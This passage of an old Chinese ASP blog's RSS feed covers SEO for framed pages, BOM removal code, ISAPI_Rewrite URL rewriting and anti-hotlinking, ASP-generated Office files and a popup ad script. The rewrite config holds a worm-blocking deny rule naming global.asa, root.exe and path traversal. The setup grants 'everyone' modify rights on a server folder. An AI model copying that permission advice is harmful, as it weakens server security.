title=&#34;topFrame&#34; /&gt;<br/>&lt;frameset rows=&#34;*&#34; cols=&#34;164,*&#34; framespacing=&#34;0&#34; frameborder=&#34;no&#34; border=&#34;0&#34;&gt;<br/>&lt;frame src=&#34;search_left/cat20.html?&amp;catid=20&amp;redirect=n&#34; name=&#34;left&#34;<br/>frameborder=&#34;no&#34; scrolling=&#34;yes&#34; id=&#34;left&#34; title=&#34;leftFrame&#34; /&gt;<br/>&lt;frame src=&#34;CPU/cat20_list_1.html&#34; name=&#34;main&#34; id=&#34;main&#34; scrolling=&#34;yes&#34;<br/>title=&#34;main&#34;&gt;<br/>&lt;/frameset&gt;<br/>&lt;/frameset&gt;<br/>&lt;noframes&gt;<br/>在这里进行优化！<br/>增加链接&lt;a href=” <a target="_blank" href="http://xxxxxx.com/CPU/cat20_list_1.html">http://xxxxxx.com/CPU/cat20_list_1.html</a>” title=” CPU报价”&gt; CPU报价&lt;/a&gt;<br/>&lt;/noframes&gt;<br/>框架型网站的优越性体现在页面的整体一致性和更新方便上。尤其对于那些大型网站而言， 框架结<br/>构的使用可以使网站的维护变得相对容易。但框架对搜索引擎来说是一个很大的问题，这是由于大<br/>多数搜索引擎都无法识别框架，也没有什么兴趣去抓取框架中的内容。此外， 某些浏览器也不支持<br/>框架页面。<br/>如果网页已经使用了框架，或出于某种原因一定要使用框架结构，则必须在代码中使用“Noframes”<br/>标签进行优化，把Noframe 标签看做是一个普通文本内容的主页。在&lt;Noframe&gt;&lt;/Noframe&gt;区域<br/>中包含指向frame 页的链接以及带有关键词的描述文本，同时在框架以外的区域(title,meta)也出现<br/>关键词文本。这样，搜索引擎才能够正确索引到框架内的信息。<br/>还有一个办法是采用iframe 即内联框架（Inner Frame）技术来避免Frame 带来的不便。所<br/>谓iframe 也是框架的一种形式，它是相当于在主浏览器窗口中内嵌一个子窗口，内容自动<br/>打开。iframe 可以嵌在网页中的任意部分，也可以随意定义其大小，其代码显示为：<br/>实例：&lt;iframe src=xx width=x height=x scrolling=xx frameborder=x&gt;&lt;/iframe&gt;<br/>对搜索引擎来说，iframe 中的文字是可见的，也可以跟踪到其中链接指向的页面，不过与<br/>用户所见不同的是，搜索引擎将iframe 内容看成单独的一个页面内容，与被内嵌的页面无<br/>关。<br/><br/>图像优化<br/>一般而言，搜索引擎只识读文本内容，对图片文件是视而不见的。同时，图像文件直接延缓页面加<br/>载时间，如果超过20 秒网站还不能加载，用户极有可能离开你的网站。因此， 除非你的网站内容<br/>是图片为主，比如游戏站点或者图片至关重要，否则尽量避免使用大图片， 更不要采用纯图像制作<br/>网页(SPLASH PAGE)。<br/><br/>网站图片优化的有以下几点：<br/>1. 在保持图像质量的情况下尽量压缩图像的文件大小。<br/>2. Alt 属性：<br/>每个图像&lt;IMG&gt;标签中都有ALT 属性，搜索引擎会读取该属性以了解图像的信息。因此，最好<br/>在所有插图的ALT 属性中都有文字描述，并带上该页关键字在其中。<br/>比较好的例子：<br/>&lt;img align=&#34;center&#34; src=&#34;NP110.jpg&#34; alt=&#34;浪潮英信NP110 G2 服务器图片&#34; &gt;<br/>3.在图片上方或下方加上包含关键词的描述文本；<br/>4.使用链接链接到这个图片。<br/>例如：Google 图片搜索NP370 浪潮英信NP370 G2 排名第一。<br/>Google的图像搜索(Googlebot-Image)和Google的文本搜索(Googlebot)不是同一个蜘蛛。<br/>应用实例：<br/>FLASH 优化<br/>Flash 会使页面很好看，不过FLASH 网页有一个非常致命的问题，即大部分搜索引擎无法识别<br/>FLASH 中的信息。<br/>例如：一汽轿车<br/><br/>FLASH 优化可以从以下三个方面来考虑：<br/>1、做一个辅助HTML 版本：<br/>保留原有FLASH 版本的同时，还可以设计一个HTML 格式的版本，这样既可以保持动态<br/>美观效果，也可以让搜索引擎通过HTML 版本的网页来发现网站。<br/>2、将Flash 内嵌HTML 文件：<br/>还可以通过改变网页结构进行弥补，即不要将整个网页都设计成Flash 动画，而是将Flash<br/>内容嵌入到HTML 文件中，这样对于用户浏览并不会削弱视觉效果，搜索引擎也可以从<br/>HTML 代码中发现一些必要的信息，尤其是进入内容页面的链接。<br/><br/>表格使用<br/>表格是网页最重要的排版方式。<br/>1.如果某个网页采用了大段的长篇文本，除了可以将一页文本分成多面，还可以考虑将文本置入<br/>不同表格中，这样不仅管理方便，也使得该页加载时每个表格内容依次加载，这样访问者就可<br/>以一边看已下载内容一边等待剩余部分加载，而不是等待很久之后才一齐加载出来。<br/>例如：新浪新闻<br/>2.表格之内套嵌太多表格也不利于页面加载，因浏览器是先加载完大表格之后再加载内嵌的小<br/>表格，因此内嵌表格会最终降低整页加载速度。<br/>3.尽量采用XHTML标准，使用DIV代替表格。<br/>具体方法是采用CSS里面的FLOAT 属性，position 属性等定位<br/>使用FLOAT 属性的例子。复杂三栏式版面<br/>使用position 属性等定位。复杂版面设计.htm<br/>网页减肥<br/>代码设置不妥不仅延长网页加载时间，也严重影响蜘蛛程序对网页内容的抓取。通过对网页代<br/>码进行清减去掉臃肿杂乱的代码，减小网页文件大小，能够加快网页加载速度，让蜘蛛快速索引到<br/>重要内容。整个网页最好不要超过30K，文字内容最好5K-10K 之间，Google 只对内容的前5000 个<br/>字进行索引。<br/><br/><br/><br/>网页减肥重点涉及以下几个要点：<br/>1.CSS 样式<br/>网页制作应通过CSS（层叠样式表单）来统一定制字体风格。例如：<br/>&lt;b style=&#34;color:red;font-size:16px;&#34;&gt;测试&lt;/b&gt;<br/>&lt;div id=&#34;divmain&#34; style=&#34;font-size:12px;&#34;&gt;DIV&lt;/b&gt;<br/>&lt;div style=&#34;color:red;&#34;&gt; 红色&lt;b style=&#34;color:green;&#34;&gt;绿色&lt;/b&gt; &lt;/div&gt;<br/>----------------------<br/>&lt;style type=&#34;text/css&#34;&gt;<br/>b { color:red;font-size:16px; } /*通用对象*/<br/>#divmain {font-size:12px;} /* ID 对象*/<br/>.red {color:red;}/* 定制类别*/<br/>.red b {color:green;}/* 定制类别下的通用对象*/<br/>&lt;/style&gt;<br/>&lt;b&gt;测试&lt;/b&gt;<br/>&lt;div id=&#34;divmain&#34;&gt;DIV&lt;/b&gt;<br/>&lt;div class=&#34;red&#34;&gt; 红色&lt;b&gt;绿色&lt;/b&gt; &lt;/div&gt;<br/>CSS 减肥示例文件把文字的字体、字号、颜色、背景色等统一起来，不用对每段文字单独进行<br/>格式定义，从而减少大量重复性标签。注意把所有css 文件单独存放在命名为css 的外部文件<br/>中。<br/>语法： &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/common/client.css&#34;&gt;<br/>作用的优先级：自身的style属性&gt; 页面的内部style对象&gt; 页面外部css文件。<br/>2.JavaScript：<br/>1. 简化js中的函数名称和变量。<br/>例如：Google，里面的函数名称只有1 个或者2 个字符。<br/>2. 将网页的公共部分转换为脚本并存于js 文件里。这样可以减少文件大小，加快下载速度，同<br/>时也方便管理。不过不能将导航等等优化的关键代码转换成js，否则搜索引擎搜索不到。<br/>转换方式：<br/>原来：&lt;h1&gt;天天收藏夹&lt;/h1&gt;<br/>脚本：document.write(“&lt;h1&gt;天天收藏夹&lt;/h1&gt;”);<br/>例如：华军软件园源代码，将标题、导航等等都放着js文件里，将导航放在js里面就不太好<br/>了。<br/>3.使用base 标签：<br/>Base 标签是一个全集控制的标签。<br/>比如：<br/>&lt;A HREF=&#34;<a href="http://www.supercss.com/code/1.htm" target="_blank">http://www.supercss.com/code/1.htm</a> &#34; target=”_blank”&gt;代码一&lt;/A&gt;<br/>&lt;A HREF=&#34;<a href="http://www.supercss.com/code/2.htm" target="_blank">http://www.supercss.com/code/2.htm</a> &#34; target=”_blank”&gt;代码一&lt;/A&gt;<br/>其中<a target="_blank" href="http://www.supercss.com">http://www.supercss.com</a> 和target=”_blank”: 多次重复，增加无用的代码。<br/>修改为：<br/>&lt;head&gt;<br/>&lt;base href=”<a target="_blank" href="http://www.supercss.com/">http://www.supercss.com/</a>” target=”_blank”&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;<br/>&lt;a href=”/code/1.htm”&gt;代码一&lt;/a&gt;<br/>&lt;a href=”/code/2.htm”&gt;代码二&lt;/a&gt;<br/>&lt;/body&gt;<br/>4.慎用网页减肥工具<br/>通常的网页减肥工具，对htm 减肥具有一定的破坏性，常常为了减肥将标签的后半个标签删除，<br/>造成网页的不完整。<br/>处理前：&lt;table&gt;&lt;tr&gt;&lt;td&gt;第一行&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;第二行&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br/>处理后：&lt;table&gt;&lt;tr&gt;&lt;td&gt;第一行&lt;tr&gt;&lt;td&gt;第二行&lt;/table&gt;<br/>处理后&lt;/td&gt;&lt;/tr&gt; 被去掉了，使页面不完整。<br/>5.删除空格和回车<br/>如果要更加苛刻的减肥，那最后一步就是删除空格了，还可以使文件大小下降很多。<br/>不过删除空格后的页面由于没有阶梯排列，将很难读懂。<br/>例子：百度首页的代码就非常紧凑。<br/>不同位置的网页优化<br/>网站首页优化<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=92</link>
			<title><![CDATA[shtml文件中include在utf-8编码下多出一行的问题]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Mon,28 Jul 2008 13:31:46 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=92</guid>	
		<description><![CDATA[UTF-8签名(UTF-8 signature)也叫做BOM(Byte o&#114;der Mark)，是UTF编码方案里用于标识编码的标准。如果多个文件设置了签名，在二进制流中就会包含多个UTF-8签名，而IE是无法识别多个UTF-8签名的，所以用一个空行来代替，在某些程序处理中还会出现一个类似“诺”的字符。<br/><br/>以下为去除Utf-8格式签名的asp函数<br/><br/>Function RemoveUtf8Bom(filePath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim oStream,oDom,oDomFile,newStream<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set oStream = Server.Cr&#101;ateObject(&#34;adodb.stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;With oStream<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Type = 1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Open()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.LoadFromFile filePath<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End With<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set oDom = Server.Cr&#101;ateObject(&#34;Microsoft.XMLDOM&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set oDomFile = oDom.Cr&#101;ateElement(&#34;file&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;With oDomFile<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.dataType = &#34;bin.base64&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.nodeTypedValue = oStream.Read(3)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End With<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If oDomFile.Text = &#34;77u/&#34; Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oStream.Position = 3<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set newStream = Server.Cr&#101;ateObject(&#34;adodb.stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;With newStream<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Mode = 3<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Type = 1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Open()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End With<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oStream.CopyTo(newStream)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newStream.SaveToFile filePath,2<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set oStream = Nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set newStream = Nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set oDomFile = Nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set oDom = Nothing<br/>End Function<br/><br/><br/>JS去除utf-8文件的BOM<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://blog.edotpower.com/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>function removeBOM(strPath){<br/>&nbsp;&nbsp;&nbsp;&nbsp; var objStream = Server.Cr&#101;ateObject(&#34;Adodb.Stream&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp; with(objStream) { Type = 1; Open(); LoadFromFile(strPath); }<br/>&nbsp;&nbsp;&nbsp;&nbsp; var dom = Server.Cr&#101;ateObject(&#34;Microsoft.XMLDOM&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp; var f = dom.cr&#101;ateElement(&#34;file&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp; f.dataType = &#34;bin.base64&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; f.nodeTypedValue = objStream.Read(3);<br/>&nbsp;&nbsp;&nbsp;&nbsp; //判断是否存在BOM（和BOM标志的base64编码比较）<br/>&nbsp;&nbsp;&nbsp;&nbsp; if(f.text == &#34;77u/&#34;) {&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; objStream.Position = 3; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var newStream = Server.Cr&#101;ateObject(&#34;Adodb.Stream&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with(newStream){ Mode = 3; Type = 1; Open(); }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; objStream.CopyTo(newStream);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; newStream.SaveToFile(strPath,2);<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>}<br/></div></div>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=75</link>
			<title><![CDATA[如何防盗链?如何伪静态?(win2003+iis+ISAPI_Rewrite)]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Sat,10 May 2008 16:37:24 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=75</guid>	
		<description><![CDATA[2007-12-4 1:55:35　来源: 本站整理4<br/><br/><br/>顶一下<br/>前提你要自己有服务器,<br/><br/>然后下载:<a href="http://www.helicontech.com/download.asp" target="_blank">http://www.helicontech.com/download.asp</a><br/><br/>接着安装,随便装哪都行。<br/><br/>然后,打开Internet 信息服务,右键,web站点属性,点ISAPI筛选器选项卡.添加筛选器,名称填个rewrite,路径自己指定ISAPI_Rewrite.dll(在安装的根目录下),然后确定.<br/><br/>设置扩展:<br/><br/>右击我的电脑--管理--服务与应用程序--Internet信息服务（IIS）管理--Web服务扩展--添加一个新的Web服务扩展--输入扩展名：ISAPI_Rewrite--添加--浏览--找到你的安装目录选中ISAPI_Rewrite.dll打开并设置为允许运行此扩展<br/><br/>最后..<br/><br/>开始添加rewrite规则.正则,找到ISAPI_Rewrite目录,把httpd.ini的只读属性去掉,打开编辑.<br/><br/>打开时的内容是：<br/><br/>[ISAPI_Rewrite]<br/><br/># Defend your computer from some worm attacks<br/><br/>RewriteRule .*(?:global.asa|default\.ida|root\.exe|\.\.).* . [F,I,O]<br/><br/>我们在[ISAPI_Rewrite]下添加以下内容然后保存即可：<br/><br/>[ISAPI_Rewrite]<br/><br/># 3600 = 1 hour<br/><br/>CacheClockRate 3600<br/><br/>RepeatLimit 32<br/><br/># Protect httpd.ini and httpd.parse.errors files<br/><br/># from accessing through HTTP<br/><br/>RewriteRule ^(.*)/archiver/([a-z0-9\-]+\.html)$ $1/archiver/index\.php\?$2<br/><br/>RewriteRule ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay\.php\?fid=$2&amp;page=$3<br/><br/>RewriteRule ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$$1/viewthread\.php\?tid=$2&amp;extra=page\%3D$4&amp;page=$3<br/><br/>RewriteRule ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro\.php\?$2=$3<br/><br/>我的成功设置内容如下：<br/><br/>[Copy to clipboard] [ - ]<br/><br/>CODE:<br/><br/>[ISAPI_Rewrite]<br/><br/># 3600 = 1 hour<br/><br/>CacheClockRate 3600<br/><br/>RepeatLimit 32<br/><br/># Protect httpd.ini and httpd.parse.errors files<br/><br/># from accessing through HTTP<br/><br/>RewriteRule ^(.*)/archiver/([a-z0-9\-]+\.html)$ $1/archiver/index\.php\?$2<br/><br/>RewriteRule ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay\.php\?fid=$2&amp;page=$3<br/><br/>RewriteRule ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$$1/viewthread\.php\?tid=$2&amp;extra=page\%3D$4&amp;page=$3<br/><br/>RewriteRule ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro\.php\?$2=$3<br/><br/># Defend your computer from some worm attacks<br/><br/>RewriteRule .*(?:global.asa|default\.ida|root\.exe|\.\.).* . [F,I,O]<br/><br/>然后提交就算是全部完成了，回到论坛看看是否你的论坛已经有静态页面，有了吧，开心吧，我也是完成后好开心。<br/><br/> <br/><br/> <br/><br/>利用isapi_rewrite防盗链<br/><br/>利用isapi_rewrite可以实现类似于Apache的伪静态路径，利用其检查refer的功能我们还可以实现防盗链。该软件可以在 <a href="http://www.helicontech.com/download/" target="_blank">http://www.helicontech.com/download/</a>下载，是一个共享软件，但是有一个LITE版本是免费的，基本上可以实现我们需要的功能。安装的步骤我就不详细说了，具体说说httpd.ini的设置。<br/><br/>首先，必须要保证httpd.ini有可写权限，设置isapi_rewrite安装文件夹everyone具有可修改权限后，去除该文件的只读属性。<br/><br/>httpd.ini默认设置如下: <br/><br/>RewriteCond Host: (.+)<br/><br/>RewriteCond Referer: (?!<a href="http://" target="_blank">http://</a>\1.*).*<br/><br/>我们在它后面加上一句 <br/><br/>RewriteRule .*\.(?:gif|jpg|png|exe|rar|zip) /block.gif [I,O]<br/><br/>即可实现gif/jpg/png/exe/rar/zip文件的防盗链，盗链页面显示的是/block.gif。block.gif是一个体积较少的图片文件，我们可以在上面打上自己网站的版权标志和防盗链声明。<br/><br/>如果按照上面设置，则除本站以外的所有网站均不能使用这里的图片，如果要允许一些例外的网站比如google,baidu以及其它一些非营利性网站引用该怎么办呢？我们可以用如下正则表达式来实现<br/><br/>RewriteCond Referer: (?!<a href="http://" target="_blank">http://</a>(?:www\.0e2\.net|www\.google\.com|www\.baidu\.com)).+<br/><br/>如果想允许所有google子站和baidu子站形如images.baidu.com,images.google.com等站则做如下设置：<br/><br/>RewriteCond Referer: (?!<a href="http://" target="_blank">http://</a>(?:*\.0e2\.net|*\.google\.com|*\.baidu\.com)).+<br/><br/>至此，一个相当有效的防盗链系统已经出来了，但如上设置有一个问题，如果浏览者浏览了盗链页面后访问本站页面，则被盗链图片的缓存会影响图片的正常显示。把 <br/><br/>RewriteRule .*\.(?:gif|jpg|png|exe|rar|zip) /block.gif [I,O]<br/><br/>改为<br/><br/>RewriteRule .*\.(?:gif|jpg|png|exe|rar|zip) /block.gif [I,O,N]<br/><br/>方可。参数N的意思是重新从站点请求文件而不是从本地缓存读取。<br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=74</link>
			<title><![CDATA[如何用ASP创建Word与Excel文档]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Sat,10 May 2008 16:25:54 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=74</guid>	
		<description><![CDATA[怎样通过ASP创建简易的OFFICE文档呢？快捷的生成word或excel文档进行办公应用处理！下面我们来详细讲解。<br/><br/>ASP具备动态输出任一Office应用程序文件格式的功能。在开始编写代码之前，我们首先需要做的就是设置正确的文件类型，因为浏览器需要知道如何处理文件。第二步是编辑文件名称，我们可以使用HTML和CSS来创建Word文档或Excel文档的样式。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 下面这段例子代码可用于在线创建Word文档。<br/><br/>以下是代码：<br/>&lt;% <br/>Response.ContentType = &#34;application/msword&#34; <br/>Response.AddHeader &#34;Content-Disposition&#34;, &#34;attachment;filename=NAME.doc&#34;???&nbsp;&nbsp;<br/>response.Write(&#34;Dotnetindex.com : &lt;a href=&#34;&#34;<a href="http://www.dotnetindex.com" target="_blank">http://www.dotnetindex.com</a>&#34;&#34;&gt;Visit Site&lt;/a&gt;&lt;br&gt;&#34; &amp; vbnewline) <br/>response.Write(&#34;&lt;h1&gt;We can use HTML codes for word documents&lt;/h1&gt;&#34;) <br/>response.Write (&#34;&lt;div style=&#34;&#34;padding:4px; font:11px arial&#34;&#34;&gt;CSS can be used tooo&lt;/span&gt;&#34;) <br/>%&gt; <br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 下面这段例子代码可用于在线创建Excel文档。<br/><br/>以下是代码：<br/>&lt;% <br/>Response.AddHeader &#34;Content-Disposition&#34;, &#34;attachment;filename=members.xls&#34; <br/>Response.ContentType = &#34;application/vnd.ms-excel&#34; <br/>response.write &#34;&lt;table width=&#34;100%&#34; border=&#34;1&#34; &gt;&#34; <br/>response.write &#34;&lt;tr&gt;&#34; <br/>response.write &#34;&lt;th width=&#34;&#34;40%&#34;&#34;&gt;&lt;b&gt;Name&lt;/b&gt;&lt;/th&gt;&#34; <br/>response.write &#34;&lt;th width=&#34;&#34;30%&#34;&#34;&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/th&gt;&#34; <br/>response.write &#34;&lt;th width=&#34;&#34;30%&#34;&#34;&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/th&gt;&#34; <br/>response.write &#34;&lt;/tr&gt;&#34; <br/>response.write &#34;&lt;tr&gt;&#34; <br/>response.write &#34;&lt;td width=&#34;&#34;40%&#34;&#34;&gt;Scud Block&lt;/td&gt;&#34; <br/>response.write &#34;&lt;td width=&#34;&#34;30%&#34;&#34;&gt;scud@gazatem.com&lt;/td&gt;&#34; <br/>response.write &#34;&lt;td width=&#34;&#34;30%&#34;&#34;&gt;mypassword&lt;/td&gt;&#34; <br/>response.write &#34;&lt;/tr&gt;&#34; <br/>response.write &#34;&lt;/table&gt;&#34; <br/>%&gt; <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=73</link>
			<title><![CDATA[24小时同一IP只弹一次弹窗源代码]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Sat,10 May 2008 16:24:02 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=73</guid>	
		<description><![CDATA[&lt;%<br/>&#39;作者:阿里西西<br/>&#39;网址:<a href="http://www.alixixi.com" target="_blank">http://www.alixixi.com</a><br/>&#39;说明:欢迎使用本源码程序,敬请保持本信息.<br/>&#39;24小时同1IP只弹一次<br/>&#39;直接输入网址来的不弹<br/>&#39;弹过一次后，在打开其它有弹窗代码的页面就不要弹了<br/>&#39;最好是用JS引用，这样你静态页面也可以用<br/>Dim viewhistory,Referer,usercookie<br/>Dim mydomain,reurl,oldip,oldtime<br/>Dim opentime,adstr<br/>opentime = 24&nbsp;&nbsp;&#39;设定同一IP弹窗周期,单位:小时<br/>mydomain = &#34;alixixi.com&#34; &#39;网站域名<br/>adstr = &#34;&lt;script language=&#34;&#34;javascript&#34;&#34; src=&#34;&#34;<a href="http://alixixi.com/indexgg.js" target="_blank">http://alixixi.com/indexgg.js</a>&#34;&#34;&gt;&lt;/script&gt;&#34;&nbsp;&nbsp;&#39;广告联盟弹窗代码,&lt;script&gt;...&lt;/script&gt;类似的弹窗代码,注意单双引号的写法<br/><br/>Referer = CStr(Request.ServerVariables(&#34;HTTP_REFERER&#34;))&nbsp;&nbsp;&#39;取得访问来源<br/>If(Referer=&#34;&#34;) Then&nbsp;&nbsp;&#39;如果为空判断是直接访问,否则为通过搜索引擎或其它网站进入<br/> reurl=mydomain<br/>Else<br/> If InStr(Referer,mydomain) &gt; 0 Then<br/> reurl=mydomain<br/> Else<br/> reurl=&#34;search&#34;<br/> End If<br/>End If<br/>If reurl = &#34;search&#34; Then &#39;如果用户是通过外部链接进到本站时就判断是否超过24小时后弹窗<br/> If Trim(Request.Cookies(&#34;isopen&#34;)(&#34;user&#34;))=&#34;&#34; then&nbsp;&nbsp;&#39;如果用户第一次访问弹窗<br/>&nbsp;&nbsp;Call writecookie()&nbsp;&nbsp;&#39;记录Cookie并弹窗操作过程<br/> Else<br/>&nbsp;&nbsp;usercookie = Trim(Request.Cookies(&#34;isopen&#34;)(&#34;user&#34;))<br/>&nbsp;&nbsp;If InStr(Trim(Request.Cookies(&#34;isopen&#34;)(&#34;user&#34;)),&#34;|&#34;)&gt;0 Then &#39;如果有cookie内容就判断格式是否正确,否则转入弹窗<br/>&nbsp;&nbsp; oldip = Split(usercookie,&#34;|&#34;)(0) &#39;cookie里的上次弹窗的IP记录<br/>&nbsp;&nbsp; oldtime = Split(usercookie,&#34;|&#34;)(1) &#39;cookie里的上次弹窗的时间记录<br/>&nbsp;&nbsp; If Trim(oldip) = Trim(userip()) Then &#39;如同上次弹窗IP与现IP一样就判断时间差<br/>&nbsp;&nbsp;&nbsp;&nbsp;if DateDiff(&#34;h&#34;,oldtime,Now())&gt;opentime then&nbsp;&nbsp;&#39;如果时间超过24小时就弹窗<br/>&nbsp;&nbsp;&nbsp;&nbsp;Call writecookie()&nbsp;&nbsp;&#39;记录Cookie并弹窗操作过程<br/>&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;时间没超过弹窗周期不操作<br/>&nbsp;&nbsp;&nbsp;&nbsp;End if<br/>&nbsp;&nbsp; Else &#39;新IP访问弹窗<br/>&nbsp;&nbsp;&nbsp;&nbsp;Call writecookie()&nbsp;&nbsp;&#39;记录Cookie并弹窗操作过程<br/>&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;Else<br/>&nbsp;&nbsp; Call writecookie()<br/>&nbsp;&nbsp;End If<br/> End If<br/>End If<br/><br/>Sub writecookie()<br/> Response.Cookies(&#34;isopen&#34;).Expires=now+1<br/> Response.Cookies(&#34;isopen&#34;)(&#34;user&#34;) = UserIP()&amp;&#34;|&#34;&amp;Now()<br/> Response.Write &#34;document.write(&#39;&#34;&amp;adstr&amp;&#34;&#39;);&#34;<br/>End Sub<br/><br/>Function UserIP()<br/>Dim GetClientIP<br/>GetClientIP = Request.ServerVariables(&#34;HTTP_X_FORWARDED_FOR&#34;)<br/>If GetClientIP = &#34;&#34; o&#114; isnull(GetClientIP) o&#114; isempty(GetClientIP) Then<br/>GetClientIP = Request.ServerVariables(&#34;REMOTE_ADDR&#34;)<br/>end if<br/>Userip = GetClientIP<br/>End Function<br/>%&gt;<br/><br/>引用方式: &lt;script src=&#34;以上代码文件名alixixi.com.asp&#34;&gt;&lt;/script&gt;<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=72</link>
			<title><![CDATA[asp+xml实现多语言网站的解放方案]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
